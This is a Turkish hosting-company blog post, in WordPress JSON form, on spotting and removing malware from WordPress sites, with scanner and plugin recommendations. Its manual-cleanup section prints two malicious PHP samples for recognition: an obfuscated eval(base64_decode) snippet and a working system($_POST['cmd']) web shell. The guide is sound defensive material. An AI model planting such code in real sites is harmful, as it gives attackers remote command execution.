{"id":12084,"date":"2024-12-13T14:21:33","date_gmt":"2024-12-13T11:21:33","guid":{"rendered":"https:\/\/www.inetmar.com\/blog\/?p=12084"},"modified":"2026-03-10T17:07:54","modified_gmt":"2026-03-10T14:07:54","slug":"wordpress-virus-temizleme-islemi-nasil-yapilir","status":"publish","type":"post","link":"https:\/\/www.inetmar.com\/blog\/wordpress-virus-temizleme-islemi-nasil-yapilir\/","title":{"rendered":"WordPress Vir\u00fcs Temizleme \u0130\u015flemi Nas\u0131l Yap\u0131l\u0131r?"},"content":{"rendered":"<p>WordPress sitelerinizde istenmeyen reklamlar, farkl\u0131 dillerde yaz\u0131lar g\u00f6r\u00fcyorsan\u0131z muhtemelen websitenize vir\u00fcs bula\u015fm\u0131\u015ft\u0131r. Bug\u00fcn sizlere WordPress vir\u00fcs tespit etme, WordPress vir\u00fcs temizleme i\u015flemlerinden bahsedece\u011fim.<\/p>\n<h2>WordPress Site Vir\u00fcs Nas\u0131l Tespit Edilir?<\/h2>\n<p>WordPress sitesinizde vir\u00fcs oldu\u011funu anlamak zor de\u011fildir ancak bunu kesinle\u015ftirmek i\u00e7in a\u015fa\u011f\u0131daki maddeleri kontrol edin.<\/p>\n<ul>\n<li>Siteniz eskisinden daha yava\u015f \u00e7al\u0131\u015f\u0131yorsa,<\/li>\n<li>Bilmedi\u011finiz pop-up reklamlar \u00e7\u0131k\u0131yorsa,<\/li>\n<li>Arama motorlar\u0131nda siteniz <strong>\u201ctehlikeli\u201d<\/strong> olarak i\u015faretleniyorsa,<\/li>\n<li>Y\u00f6netim panelinizde garip kullan\u0131c\u0131lar ya da hosting kontrol panelinizde farkl\u0131 mail y\u00f6nlendirmeleri varsa&#8230;<\/li>\n<\/ul>\n<p>Muhtemelen sitenize zararl\u0131 bir yaz\u0131l\u0131m bula\u015fm\u0131\u015f olabilir. Peki, bunu nas\u0131l kesinle\u015ftiririz? \u0130\u015fte birka\u00e7 y\u00f6ntem:<\/p>\n<h3><strong>Online Arama<\/strong><\/h3>\n<p>Vir\u00fcsleri tespit etmek i\u00e7in en kolay y\u00f6ntemlerden biri sitenizi taratabilece\u011finiz online ara\u00e7lar\u0131 kullanmakt\u0131r. Bu online ara\u00e7lardan pop\u00fcler olanlar Sucuri Site Check ve VirusTotal&#8217;dir.<\/p>\n<ol>\n<li><a href=\"https:\/\/sitecheck.sucuri.net\/\" target=\"_blank\" rel=\"nofollow noopener\"><strong>Sucuri Site Check<\/strong>:<\/a> Websitesini ziyaret edip site adresinizi yazd\u0131ktan sonra size \u00fccretsiz detayl\u0131 bir rapor sunuyor.<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-12088\" src=\"https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/sucuri-300x110.png\" alt=\"Vir\u00fcs Temizleme Nas\u0131l Yap\u0131l\u0131r\" width=\"768\" height=\"282\" srcset=\"https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/sucuri-300x110.png 300w, https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/sucuri-1024x374.png 1024w, https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/sucuri-768x281.png 768w, https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/sucuri.png 1382w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/li>\n<li><a href=\"https:\/\/www.virustotal.com\/\" target=\"_blank\" rel=\"nofollow noopener\"><strong>VirusTotal<\/strong>:<\/a> Sitenizi farkl\u0131 antivir\u00fcs yaz\u0131l\u0131mlar\u0131ndan ge\u00e7irerek sorunlar\u0131 listeliyor.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-12087\" src=\"https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/virustotal-300x223.png\" alt=\"WordPress Vir\u00fcs Temizleme \" width=\"721\" height=\"536\" srcset=\"https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/virustotal-300x223.png 300w, https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/virustotal-768x570.png 768w, https:\/\/www.inetmar.com\/blog\/wp-content\/uploads\/2024\/12\/virustotal.png 780w\" sizes=\"auto, (max-width: 721px) 100vw, 721px\" \/><\/li>\n<\/ol>\n<p>Bu iki websitesini ziyaret ederek websitenizde vir\u00fcs olup olmad\u0131\u011f\u0131n\u0131 kesin olarak \u00f6\u011frenebilirsiniz.<\/p>\n<h3><strong>Eklenti \u0130le Arama<\/strong><\/h3>\n<p>WordPress eklentileri de t\u0131pk\u0131 yukar\u0131daki websiteleri gibi websitenizi tarar ve \u015f\u00fcpheli durum tespit edildi\u011finde g\u00f6sterir. Vir\u00fcs tespiti konusunda a\u015fa\u011f\u0131daki eklentileri kullanabilirsiniz:<\/p>\n<ul>\n<li><a href=\"https:\/\/wordpress.org\/plugins\/wordfence\/\" target=\"_blank\" rel=\"nofollow noopener\"><strong>Wordfence Security<\/strong>:<\/a> Sitenizi tarar k\u00f6t\u00fc dosyalar\u0131 g\u00f6sterir ve gerekirse karantinaya al\u0131r.<\/li>\n<li><a href=\"https:\/\/tr.wordpress.org\/plugins\/better-wp-security\/\" target=\"_blank\" rel=\"nofollow noopener\"><strong>Solid Security<\/strong>: <\/a>Eski ad\u0131 iThemes Security olan bu eklenti \u015f\u00fcpheli aktiviteleri tespit ederek taraf\u0131n\u0131za hemen bilgilendirme yapar.<\/li>\n<li><a href=\"https:\/\/wordpress.org\/plugins\/malcare-security\/\" target=\"_blank\" rel=\"nofollow noopener\"><strong>MalCare<\/strong>:<\/a> Tam anlam\u0131yla bir temizlik ustas\u0131d\u0131r. \ud83d\ude42 Hem bulur hem de temizler ancak baz\u0131 \u00f6zellikleri premium \u00fcyelik gerektirebilir.<\/li>\n<\/ul>\n<p>Bu eklentiler teknik bilgi gerektirmedi\u011fi i\u00e7in <strong>Eklentiler<\/strong> k\u0131sm\u0131ndan <strong>Yeni Eklenti Ekle<\/strong> dedikten sonra aktif duruma getirip taramay\u0131 ba\u015flayabilirsiniz.<\/p>\n<h2>WordPress Vir\u00fcs Nas\u0131l Temizlenir?<\/h2>\n<p>Vir\u00fcs tespit ettik peki \u015fimdi ne olacak? Temizlik i\u00e7in iki y\u00f6ntem var: Ya elle manuel olarak (biraz teknik bilgi laz\u0131m) ya da bir eklentiyle (pratik ama bazen \u00fccretli). \u015eimdi gelin bu y\u00f6ntemleri ayr\u0131nt\u0131l\u0131 olarak inceleyelim.<\/p>\n<h3><strong>Manuel Vir\u00fcs Temizli\u011fi<\/strong><\/h3>\n<p>Biraz teknik bilginiz var ise eklentiye gerek duymadan kendiniz vir\u00fcs temizli\u011fini yapabilirsiniz. \u0130\u015fte ad\u0131n ad\u0131m manuel vir\u00fcs temizli\u011fi i\u015flemi:<\/p>\n<ol>\n<li><strong>Yedek Al\u0131n<\/strong>: \u00d6ncelikle her \u015feyi yedekleyin, hem dosyalar\u0131n\u0131z\u0131 hem de veritaban\u0131n\u0131z\u0131. Bunun i\u00e7in <strong>cPanel FullBackup<\/strong> hizmetini yada <strong>UpdraftPlus<\/strong> eklentisi kullanabilirsiniz.<\/li>\n<li><strong>Zararl\u0131 Kodlar\u0131 Bulun<\/strong>: FTP program\u0131 yada <a href=\"https:\/\/www.inetmar.com\/hosting\/\" target=\"_blank\" rel=\"noopener\">hosting<\/a> kontrol panelinizde ki dosya y\u00f6neticisi ile websitenizin dosyalar\u0131n\u0131za eri\u015fin. Zararl\u0131 dosyalar genelde <code>wp-content\/uploads<\/code>, <code>wp-includes<\/code>, veya <code>wp-content\/themes<\/code> klas\u00f6rlerinin i\u00e7inde saklan\u0131r. Bu dosyalar\u0131 bulup direkt olarak silin. \u015e\u00fcpheli dosyalar \u015funlar olabilir:\n<ul>\n<li><strong>Garip isimlendirmeler<\/strong>: <code>wp-config-old.php<\/code>, <code>randomfile.php<\/code>, <code>temp.php<\/code> gibi dosyalar.<\/li>\n<li><strong>A\u015f\u0131r\u0131 b\u00fcy\u00fck dosyalar<\/strong>: Normalde k\u00fc\u00e7\u00fck olan dosyalar\u0131n (<code>index.php<\/code>gibi) beklenenden b\u00fcy\u00fck olmas\u0131.<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u015e\u00fcpheli Kodlara Dikkat Edin<\/strong>: Dosyalar\u0131n\u0131z\u0131 a\u00e7t\u0131\u011f\u0131n\u0131zda a\u015fa\u011f\u0131daki gibi kodlara rastlarsan\u0131z hemen silmelisiniz:\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950\">\n<div class=\"sticky top-9 md:top-[5.75rem]\"><\/div>\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"!whitespace-pre hljs language-php\"><span class=\"hljs-meta\">&lt;?php<\/span><br \/>\n<span class=\"hljs-keyword\">eval<\/span>(<span class=\"hljs-title function_ invoke__\">base64_decode<\/span>(<span class=\"hljs-string\">\"aWYoIWZ1bmN0aW9uX2V4aXN0cygiZXZhbCIpKSB7IGZ1bmN0aW9uIGV2YWwoJGEpIHsgZXZhbCgiZWNobyAiLiRhKTsgfSB9IGV2YWwoIlNpdGUgaGFjayBlZGVkaWxpLiIpOw==\"<\/span>));<br \/>\n<span class=\"hljs-meta\">?&gt;<\/span><br \/>\n<\/code><\/div>\n<\/div>\n<p>Bu tarz kod par\u00e7ac\u0131klar\u0131 \u015fifrelenmi\u015f veya gizlenmi\u015f k\u00f6t\u00fc ama\u00e7l\u0131 i\u015flevleri \u00e7al\u0131\u015ft\u0131r\u0131r.<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"!whitespace-pre hljs language-php\"><span class=\"hljs-meta\">&lt;?php<\/span><br \/>\n<span class=\"hljs-keyword\">if<\/span> (<span class=\"hljs-keyword\">isset<\/span>(<span class=\"hljs-variable\">$_POST<\/span>[<span class=\"hljs-string\">'cmd'<\/span>])) {<br \/>\n<span class=\"hljs-title function_ invoke__\">system<\/span>(<span class=\"hljs-variable\">$_POST<\/span>[<span class=\"hljs-string\">'cmd'<\/span>]);<br \/>\n}<br \/>\n<span class=\"hljs-meta\">?&gt;<\/span><br \/>\n<\/code><\/div>\n<\/div>\n<p>Bu kod sitenize uzaktan komut \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131na izin verir. Bu da websiteniz i\u00e7in b\u00fcy\u00fck bir sorun te\u015fkil edecek g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r.<\/li>\n<li><strong>Temiz Temiz Ba\u015flay\u0131n<\/strong>: E\u011fer dosyalar \u00e7ok k\u00f6t\u00fc durumdaysa yani \u00e7ok fazla dosyada zararl\u0131 kod par\u00e7ac\u0131klar\u0131 var ise kontrol panelinizi s\u0131f\u0131rdan y\u00fcklemeyi d\u00fc\u015f\u00fcn\u00fcn.<\/li>\n<li><strong>\u015eifreleri De\u011fi\u015ftirin<\/strong>: T\u00fcm \u015fifreleri (admin paneli, FTP, veritaban\u0131, mail \u015fifreleri) de\u011fi\u015ftirin.<\/li>\n<\/ol>\n<h3><strong>Eklenti \u0130le Vir\u00fcs Temizli\u011fi<\/strong><\/h3>\n<p>Teknik bilgisi az olanlar i\u00e7in eklentiler yard\u0131ma ko\u015fuyor. \u0130\u015fte sizler i\u00e7in se\u00e7ti\u011fimiz pop\u00fcler vir\u00fcs temizleme eklentileri:<\/p>\n<ul>\n<li><strong>MalCare<\/strong>: Sitenizdeki vir\u00fcs\u00fc bulur ve tek t\u0131kla temizler.<\/li>\n<li><strong>Wordfence Premium<\/strong>: Sadece temizlemekle kalmaz ayn\u0131 zamanda s\u00fcrekli koruma sa\u011flayarak websitenizi g\u00fcvende tutar. Ancak Wordfence eklentisinde bu \u00f6zellik i\u00e7in Premium \u00fcyelik gerekir.<\/li>\n<li><strong>Sucuri Security<\/strong>: Hem temizlik hem de firewall sa\u011flar.<\/li>\n<\/ul>\n<p>Bu eklentileri kurup <strong>Start Scan yada Taramay\u0131 Ba\u015flat<\/strong> diyerek taramay\u0131 ba\u015flat\u0131yorsunuz gerisini o hallediyor. Ancak baz\u0131 \u00f6zellikler i\u00e7in premium s\u00fcr\u00fcme ge\u00e7meniz gerekebilir.<\/p>\n<p class=\"LC20lb MBeuO DKV0Md\" style=\"text-align: center;\"><a href=\"https:\/\/www.inetmar.com\/hosting\/wordpress-hosting\/\" target=\"_blank\" rel=\"noopener\">WordPress Hosting<\/a> Paketlerimizde Sepete EK %30 indirim i\u00e7in indirim kodu : <strong>indirim30<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>WordPress sitelerinizde istenmeyen reklamlar, farkl\u0131 dillerde yaz\u0131lar g\u00f6r\u00fcyorsan\u0131z muhtemelen websitenize vir\u00fcs bula\u015fm\u0131\u015ft\u0131r. Bug\u00fcn sizlere WordPress vir\u00fcs tespit etme, WordPress vir\u00fcs temizleme i\u015flemlerinden bahsedece\u011fim. WordPress Site Vir\u00fcs Nas\u0131l Tespit Edilir? WordPress sitesinizde vir\u00fcs oldu\u011funu anlamak zor&#46;&#46;&#46;<\/p>\n","protected":false},"author":2,"featured_media":12093,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,18],"tags":[],"class_list":["post-12084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guvenlik","category-wordpress"],"_links":{"self":[{"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/posts\/12084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/comments?post=12084"}],"version-history":[{"count":22,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/posts\/12084\/revisions"}],"predecessor-version":[{"id":15243,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/posts\/12084\/revisions\/15243"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/media\/12093"}],"wp:attachment":[{"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/media?parent=12084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/categories?post=12084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inetmar.com\/blog\/wp-json\/wp\/v2\/tags?post=12084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}